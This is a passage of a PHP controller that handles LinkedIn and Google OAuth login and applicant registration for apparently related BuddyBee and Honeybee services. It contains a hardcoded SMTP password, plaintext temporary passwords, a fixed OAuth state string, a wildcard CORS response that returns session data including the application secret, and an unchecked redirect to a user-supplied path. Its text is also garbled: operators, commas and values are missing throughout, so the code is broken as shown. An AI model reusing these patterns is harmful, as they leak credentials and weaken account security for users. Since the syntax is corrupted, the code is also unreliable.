  6620.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6621.                     CURLOPT_USERAGENT => 'InnoPM',
  6622.                     CURLOPT_HTTPGET => 1,
  6623.                     CURLOPT_HTTPHEADER => array(
  6624.                         'Authorization: Bearer ' $token,
  6625.                         'Header-Key-2: Header-Value-2'
  6626.                     )
  6627.                 ));
  6628.                 $userGeneralcontent curl_exec($curl);
  6629.                 curl_close($curl);
  6630.                 if ($userGeneralcontent) {
  6631.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6632.                 }
  6633.                 $curl curl_init();
  6634.                 curl_setopt_array($curl, array(
  6635.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6636.                     CURLOPT_HEADER => false,  // don't return headers
  6637.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6638.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6639.                     CURLOPT_ENCODING => "",     // handle compressed
  6640.                     CURLOPT_USERAGENT => "test"// name of client
  6641.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6642.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6643.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6644.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6645. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6646.                     CURLOPT_USERAGENT => 'InnoPM',
  6647.                     CURLOPT_HTTPGET => 1,
  6648.                     CURLOPT_HTTPHEADER => array(
  6649.                         'Authorization: Bearer ' $token,
  6650.                         'Header-Key-2: Header-Value-2'
  6651.                     )
  6652.                 ));
  6653.                 $userEmailcontent curl_exec($curl);
  6654.                 curl_close($curl);
  6655.                 $token false;
  6656.                 if ($userEmailcontent) {
  6657.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6658.                 }
  6659. //        $oAuthEmail = $applicantInfo['email'];
  6660. //        return new JsonResponse(array(
  6661. //          'userEmailcontent'=>$userEmailcontent,
  6662. //          'userGeneralcontent'=>$userGeneralcontent,
  6663. //        ));
  6664. //        return new response($userGeneralcontent);
  6665.                 $oAuthData = [
  6666.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6667.                     'uniqueId' => $userGeneralcontent['id'],
  6668.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6669.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6670.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6671.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6672.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6673.                     'type' => 1,
  6674.                     'token' => $token,
  6675.                 ];
  6676.             }
  6677.         } else if (isset($_GET["code"])) {
  6678.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6679.             if (!isset($token['error'])) {
  6680.                 $google_client->setAccessToken($token['access_token']);
  6681.                 $google_service = new Google_Service_Oauth2($google_client);
  6682.                 $applicantInfo $google_service->userinfo->get();
  6683.                 $oAuthEmail $applicantInfo['email'];
  6684.                 $oAuthData = [
  6685.                     'email' => $applicantInfo['email'],
  6686.                     'uniqueId' => $applicantInfo['id'],
  6687.                     'image' => $applicantInfo['picture'],
  6688.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6689.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6690.                     'firstName' => $applicantInfo['givenName'],
  6691.                     'lastName' => $applicantInfo['familyName'],
  6692.                     'type' => $token['token_type'],
  6693.                     'token' => $token['access_token'],
  6694.                 ];
  6695.             }
  6696.         } else if (isset($_GET["access_token"])) {
  6697.             $token $_GET["access_token"];
  6698.             $tokenType $_GET["token_type"];
  6699.             if (!isset($token['error'])) {
  6700.                 $google_client->setAccessToken($token);
  6701.                 $google_service = new Google_Service_Oauth2($google_client);
  6702.                 $applicantInfo $google_service->userinfo->get();
  6703.                 $oAuthEmail $applicantInfo['email'];
  6704.                 $oAuthData = [
  6705.                     'email' => $applicantInfo['email'],
  6706.                     'uniqueId' => $applicantInfo['id'],
  6707.                     'image' => $applicantInfo['picture'],
  6708.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6709.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6710.                     'firstName' => $applicantInfo['givenName'],
  6711.                     'lastName' => $applicantInfo['familyName'],
  6712.                     'type' => $tokenType,
  6713.                     'token' => $token,
  6714.                 ];
  6715.             }
  6716.         }
  6717.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6718.             // Multi-email aware, injection-safe (2026-07-04 fix): match the OAuth email against ANY
  6719.             // tagged email (comma list, email OR oAuthEmail). Replaces exact single-value findOneBy
  6720.             // + a hand-rolled comma-LIKE that interpolated the email into SQL and false-matched.
  6721.             $isApplicantExist = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthData['email']);
  6722.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6723.                 $isApplicantExist $applicantRepo->findOneBy([
  6724.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6725.                 ]);
  6726.             }
  6727.             if ($isApplicantExist) {
  6728.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6729.                 } else
  6730.                     return $this->redirectToRoute("core_login", [
  6731.                         'id' => $isApplicantExist->getApplicantId(),
  6732.                         'oAuthData' => $oAuthData,
  6733.                         'encData' => $encData,
  6734.                         'locale' => $request->request->get('locale''en'),
  6735.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6736.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6737.                     ]);
  6738.             } else {
  6739.                 $fname $oAuthData['firstName'];
  6740.                 $lname $oAuthData['lastName'];
  6741.                 $img $oAuthData['image'];
  6742.                 $email $oAuthData['email'];
  6743.                 $oAuthEmail $oAuthData['email'];
  6744.                 $userName explode('@'$email)[0];
  6745.                 //now check if same username exists
  6746.                 $username_already_exist 1;
  6747.                 $initial_user_name $userName;
  6748.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6749.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6750.                     $isUsernameExist $applicantRepo->findOneBy([
  6751.                         'username' => $userName
  6752.                     ]);
  6753.                     if ($isUsernameExist) {
  6754.                         $username_already_exist 1;
  6755.                         $userName $initial_user_name '' rand(3009987);
  6756.                     } else {
  6757.                         $username_already_exist 0;
  6758.                     }
  6759.                     $timeoutSafeCount--;
  6760.                 }
  6761.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6762.                     $currentUnixTimeStamp '';
  6763.                     $currentUnixTime = new \DateTime();
  6764.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6765.                     $userName $userName '' $currentUnixTimeStamp;
  6766.                 }
  6767.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6768.                 $charactersLength strlen($characters);
  6769.                 $length 8;
  6770.                 $password 0;
  6771.                 for ($i 0$i $length$i++) {
  6772.                     $password .= $characters[rand(0$charactersLength 1)];
  6773.                 }
  6774.                 $newApplicant = new EntityApplicantDetails();
  6775.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6776.                 $newApplicant->setEmail($email);
  6777.                 $newApplicant->setUserName($userName);
  6778.                 $newApplicant->setFirstname($fname);
  6779.                 $newApplicant->setLastname($lname);
  6780.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6781.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6782.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6783.                 $newApplicant->setAccountStatus(1);
  6784.                 $salt uniqid(mt_rand());
  6785.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6786.                 $newApplicant->setPassword($encodedPassword);
  6787.                 $newApplicant->setSalt($salt);
  6788.                 $newApplicant->setTempPassword($password);;
  6789. //                $newApplicant->setPassword($password);
  6790.                 $marker $userName '-' time();
  6791. //                $extension_here=$uploadedFile->guessExtension();
  6792. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6793. //                $path = $fileName;
  6794.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6795.                 if (!file_exists($upl_dir)) {
  6796.                     mkdir($upl_dir0777true);
  6797.                 }
  6798.                 $ch curl_init($img);
  6799.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6800.                 curl_setopt($chCURLOPT_FILE$fp);
  6801.                 curl_setopt($chCURLOPT_HEADER0);
  6802.                 curl_exec($ch);
  6803.                 curl_close($ch);
  6804.                 fclose($fp);
  6805.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6806. //                $newApplicant->setImage($img);
  6807.                 $newApplicant->setIsConsultant(0);
  6808.                 $newApplicant->setIsTemporaryEntry(0);
  6809.                 $newApplicant->setApplyForConsultant(0);
  6810.                 $em->persist($newApplicant);
  6811.                 $em->flush();
  6812.                 $isApplicantExist $newApplicant;
  6813.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6814.                     if ($systemType == '_BUDDYBEE_') {
  6815.                         $bodyHtml '';
  6816.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6817.                         $bodyData = array(
  6818.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6819.                             'email' => $userName,
  6820.                             'password' => $newApplicant->getPassword(),
  6821.                         );
  6822.                         $attachments = [];
  6823.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6824. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6825.                         $new_mail $this->get('mail_module');
  6826.                         $new_mail->sendMyMail(array(
  6827.                             'senderHash' => '_CUSTOM_',
  6828.                             //                        'senderHash'=>'_CUSTOM_',
  6829.                             'forwardToMailAddress' => $forwardToMailAddress,
  6830.                             'subject' => 'Welcome to BuddyBee ',
  6831. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6832.                             'attachments' => $attachments,
  6833.                             'toAddress' => $forwardToMailAddress,
  6834.                             'fromAddress' => 'registration@buddybee.eu',
  6835.                             'userName' => 'registration@buddybee.eu',
  6836.                             'password' => 'Y41dh8g0112',
  6837.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6838.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6839.                             'encryptionMethod' => 'ssl',
  6840. //                            'emailBody' => $bodyHtml,
  6841.                             'mailTemplate' => $bodyTemplate,
  6842.                             'templateData' => $bodyData,
  6843. //                        'embedCompanyImage' => 1,
  6844. //                        'companyId' => $companyId,
  6845. //                        'companyImagePath' => $company_data->getImage()
  6846.                         ));
  6847.                     } else {
  6848.                         $bodyHtml '';
  6849.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6850.                         $bodyData = array(
  6851.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6852.                             'email' => 'APP-' $userName,
  6853.                             'password' => $newApplicant->getPassword(),
  6854.                         );
  6855.                         $attachments = [];
  6856.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6857. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6858.                         $new_mail $this->get('mail_module');
  6859.                         $new_mail->sendMyMail(array(
  6860.                             'senderHash' => '_CUSTOM_',
  6861.                             //                        'senderHash'=>'_CUSTOM_',
  6862.                             'forwardToMailAddress' => $forwardToMailAddress,
  6863.                             'subject' => 'Applicant Registration on Honeybee',
  6864. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6865.                             'attachments' => $attachments,
  6866.                             'toAddress' => $forwardToMailAddress,
  6867.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6868.                             'userName' => 'accounts@ourhoneybee.eu',
  6869.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  6870.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6871.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6872.                             'encryptionMethod' => 'ssl',
  6873. //                            'emailBody' => $bodyHtml,
  6874.                             'mailTemplate' => $bodyTemplate,
  6875.                             'templateData' => $bodyData,
  6876. //                        'embedCompanyImage' => 1,
  6877. //                        'companyId' => $companyId,
  6878. //                        'companyImagePath' => $company_data->getImage()
  6879.                         ));
  6880.                     }
  6881.                 }
  6882.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6883.                 } else {
  6884.                     return $this->redirectToRoute("core_login", [
  6885.                         'id' => $newApplicant->getApplicantId(),
  6886.                         'oAuthData' => $oAuthData,
  6887.                         'encData' => $encData,
  6888.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6889.                         'locale' => $request->request->get('locale''en'),
  6890.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6891.                     ]);
  6892.                 }
  6893.             }
  6894.         }
  6895.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6896.             if ($isApplicantExist) {
  6897.                 $user $isApplicantExist;
  6898.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6899.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  6900.                 $globalId $user->getApplicantId();
  6901.                 $gocList $em
  6902.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  6903.                     ->findBy(
  6904.                         array(//                        'active' => 1
  6905.                         )
  6906.                     );
  6907.                 $gocDataList = [];
  6908.                 $gocDataListForLoginWeb = [];
  6909.                 $gocDataListByAppId = [];
  6910.                 foreach ($gocList as $entry) {
  6911.                     $d = array(
  6912.                         'name' => $entry->getName(),
  6913.                         'image' => $entry->getImage(),
  6914.                         'id' => $entry->getId(),
  6915.                         'appId' => $entry->getAppId(),
  6916.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  6917.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  6918.                         'dbName' => $entry->getDbName(),
  6919.                         'dbUser' => $entry->getDbUser(),
  6920.                         'dbPass' => $entry->getDbPass(),
  6921.                         'dbHost' => $entry->getDbHost(),
  6922.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  6923.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  6924.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  6925.                         'companyRemaining' => $entry->getCompanyRemaining(),
  6926.                         'companyAllowed' => $entry->getCompanyAllowed(),
  6927.                     );
  6928.                     $gocDataList[$entry->getId()] = $d;
  6929.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  6930.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  6931.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  6932.                 }
  6933.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  6934.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6935.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6936.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6937.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6938.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6939.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6940.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6941.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6942.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6943.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6944.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6945.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6946.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6947.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6948.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6949.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6950.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6951.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6952.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6953.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6954.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6955.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6956.                     $session->set('userCompanyVibrantList'json_encode([]));
  6957.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6958.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6959.                     $session->set(UserConstants::USER_APP_ID0);
  6960.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6961.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6962.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6963.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6964.                     $session->set(UserConstants::USER_GOC_ID0);
  6965.                     $session->set(UserConstants::USER_DB_NAME'');
  6966.                     $session->set(UserConstants::USER_DB_USER'');
  6967.                     $session->set(UserConstants::USER_DB_PASS'');
  6968.                     $session->set(UserConstants::USER_DB_HOST'');
  6969.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6970.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6971.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6972.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6973.                     $session->set('locale'$request->request->get('locale'''));
  6974.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6975.                     $route_list_array = [];
  6976.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6977.                     $loginID 0;
  6978.                     $loginID MiscActions::addEntityUserLoginLog(
  6979.                         $em,
  6980.                         $session->get(UserConstants::USER_ID),
  6981.                         $session->get(UserConstants::USER_ID),
  6982.                         1,
  6983.                         $request->server->get("REMOTE_ADDR"),
  6984.                         0,
  6985.                         $request->request->get('deviceId'''),
  6986.                         $request->request->get('oAuthToken'''),
  6987.                         $request->request->get('oAuthType'''),
  6988.                         $request->request->get('locale'''),
  6989.                         $request->request->get('firebaseToken''')
  6990.                     );
  6991.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  6992.                     $session_data = array(
  6993.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  6994.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  6995.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  6996.                         'oAuthToken' => $session->get('oAuthToken'),
  6997.                         'locale' => $session->get('locale'),
  6998.                         'firebaseToken' => $session->get('firebaseToken'),
  6999.                         'token' => $session->get('token'),
  7000.                         'firstLogin' => 0,
  7001.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  7002.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  7003.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  7004.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  7005.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  7006.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  7007.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  7008.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  7009.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7010.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7011.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7012.                         'oAuthImage' => $session->get('oAuthImage'),
  7013.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7014.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7015.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7016.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7017.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7018.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7019.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7020.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7021.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7022.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7023.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7024.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7025.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7026.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7027.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7028.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7029.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7030.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7031.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7032.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7033.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  7034.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7035.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7036.                         //new
  7037.                         'appIdList' => $session->get('appIdList'),
  7038.                         'branchIdList' => $session->get('branchIdList'null),
  7039.                         'branchId' => $session->get('branchId'null),
  7040.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7041.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7042.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7043.                     );
  7044.                     $accessList = [];
  7045. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7046.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7047.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7048.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7049.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7050.                                 $d = array(
  7051.                                     'userType' => $thisUserUserType,
  7052. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7053.                                     'userTypeName' => $userTypeName,
  7054.                                     'globalId' => $globalId,
  7055.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7056.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7057.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7058.                                     'systemType' => '_ERP_',
  7059.                                     'companyId' => 1,
  7060.                                     'appId' => $thisUserAppId,
  7061.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7062.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7063.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7064.                                             array(
  7065.                                                 'globalId' => $globalId,
  7066.                                                 'appId' => $thisUserAppId,
  7067.                                                 'authenticate' => 1,
  7068.                                                 'userType' => $thisUserUserType,
  7069.                                                 'userTypeName' => $userTypeName
  7070.                                             )
  7071.                                         )
  7072.                                     ),
  7073.                                     'userCompanyList' => [
  7074.                                     ]
  7075.                                 );
  7076.                                 $accessList[] = $d;
  7077.                             }
  7078.                         }
  7079.                     }
  7080.                     $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  7081.                     $session_data['userAccessList'] = $accessList;
  7082.                     $session->set('userAccessList'json_encode($accessList));
  7083.                     $session_data $this->filterClientSessionData($session_data);
  7084.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7085.                     $session_data $tokenData['sessionData'];
  7086.                     $token $tokenData['token'];
  7087.                     $session->set('token'$token);
  7088.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7089.                         $session->set('remoteVerified'1);
  7090.                         $response = new JsonResponse(array(
  7091.                             'token' => $token,
  7092.                             'uid' => $session->get(UserConstants::USER_ID),
  7093.                             'session' => $session,
  7094.                             'success' => true,
  7095.                             'session_data' => $session_data,
  7096.                         ));
  7097.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7098.                         return $response;
  7099.                     }
  7100.                     if ($request->request->has('referer_path')) {
  7101.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7102.                             return $this->redirect($request->request->get('referer_path'));
  7103.                         }
  7104.                     }
  7105.                     $redirectRoute 'applicant_dashboard';
  7106.                     if ($request->query->has('encData')) {
  7107.                         if ($request->query->get('encData') == '8917922')
  7108.                             $redirectRoute 'apply_for_consultant';
  7109.                     }
  7110.                     return $this->redirectToRoute($redirectRoute);
  7111.                 }
  7112. //                    $response = new JsonResponse(array(
  7113. //                        'token' => $token,
  7114. //                        'uid' => $session->get(UserConstants::USER_ID),
  7115. //                        'session' => $session,
  7116. //
  7117. //                        'success' => true,
  7118. //                        'session_data' => $session_data,
  7119. //
  7120. //                    ));
  7121. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7122. //                    return $response;
  7123. //                    return $this->redirectToRoute("user_login", [
  7124. //                        'id' => $isApplicantExist->getApplicantId(),
  7125. //                        'oAuthData' => $oAuthData,
  7126. //                        'encData' => $encData,
  7127. //                        'locale' => $request->request->get('locale', 'en'),
  7128. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7129. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7130. //                    ]);
  7131.             }
  7132.         }
  7133.         $selector BuddybeeConstant::$selector;
  7134.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7135.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7136.         if ($systemType == '_ERP_') {
  7137.         } else if ($systemType == '_CENTRAL_') {
  7138.             return $this->render(
  7139.                 '@Authentication/pages/views/central_login.html.twig',
  7140.                 [
  7141.                     'page_title' => 'Central Login',
  7142.                     'oAuthLink' => $google_client->createAuthUrl(),
  7143.                     'redirect_url' => $url,
  7144.                     'message' => $message,
  7145.                     'systemType' => $systemType,
  7146.                     'ownServerId' => $ownServerId,
  7147.                     'errorField' => '',
  7148.                     'encData' => $encData,
  7149.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7150.                     'selector' => $selector,
  7151.                 ]
  7152.             );
  7153.         } else if ($systemType == '_BUDDYBEE_') {
  7154.             return $this->render(
  7155.                 '@Authentication/pages/views/applicant_login.html.twig',
  7156.                 [
  7157.                     'page_title' => 'BuddyBee Login',
  7158.                     'oAuthLink' => $google_client->createAuthUrl(),
  7159.                     'redirect_url' => $url,
  7160.                     'message' => $message,
  7161.                     'errorField' => $errorField,
  7162.                     'encData' => $encData,
  7163.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7164.                     'selector' => $selector
  7165.                 ]
  7166.             );
  7167.         }
  7168.         return $this->render(
  7169.             '@Authentication/pages/views/applicant_login.html.twig',
  7170.             [
  7171.                 'page_title' => 'Applicant Registration',
  7172.                 'oAuthLink' => $google_client->createAuthUrl(),
  7173.                 'redirect_url' => $url,
  7174.                 'encData' => $encData,
  7175.                 'message' => $message,
  7176.                 'errorField' => $errorField,
  7177.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7178.                 'selector' => $selector
  7179.             ]
  7180.         );
  7181.     }
  7182.     public function sophiaLoginAction(Request $request$encData ''$remoteVerify 0)
  7183.     {
  7184.         $session $request->getSession();
